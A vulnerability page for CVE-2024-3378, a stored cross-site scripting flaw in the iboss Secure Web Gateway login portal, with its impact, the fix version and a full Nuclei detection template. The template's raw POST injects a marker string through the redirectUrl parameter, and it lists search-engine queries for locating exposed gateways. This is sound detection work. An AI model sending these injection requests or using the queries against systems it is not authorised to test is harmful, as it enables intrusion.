iboss Secure Web Gateway - Stored Cross-Site Scripting

mediumseverity

4.3CVSS score

23.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the exploit has been disclosed to the public.

Impact

Attackers can inject malicious scripts via the redirectUrl parameter in the login portal.

Fix

Update iboss Secure Web Gateway to version 10.2.0.160 or later.

How to confirm it

Send: POST /user_login_submit
Positive when: contains(header, "Login failed") and status_code == 302
Send: GET /login
Positive when: contains(http_2_body, "</{{randstr}}>\"") && contains(http_2_body, "iboss,") AND status 200

Run it with nuclei: nuclei -id CVE-2024-3378 -u <target>

The full check

id: CVE-2024-3378

info:
  name: iboss Secure Web Gateway - Stored Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the exploit has been disclosed to the public.
  impact: |
    Attackers can inject malicious scripts via the redirectUrl parameter in the login portal.
  remediation: |
    Update iboss Secure Web Gateway to version 10.2.0.160 or later.
  reference:
    - https://www.exploit-db.com/exploits/52009
    - https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md
    - https://vuldb.com/?ctiid.259501
    - https://vuldb.com/?id.259501
    - https://vuldb.com/?submit.310642
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-3378
    cwe-id: CWE-79
    epss-score: 0.23075
    epss-percentile: 0.97772
    cpe: cpe:2.3:a:iboss:secure_web_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: iboss
    product: secure_web_gateway
    shodan-query: html:"iboss-font.css"
    fofa-query: body="iboss-font.css"
    google-query: intext:"iboss-font.css"
  tags: cve,cve2024,iboss,xss,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /user_login_submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName={{rand_base(10)}}&x={{rand_base(10)}}&action=login&redirectUrl=</{{randstr}}>

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Login failed")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(http_2_body, "</{{randstr}}>\"") && contains(http_2_body, "iboss,")'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from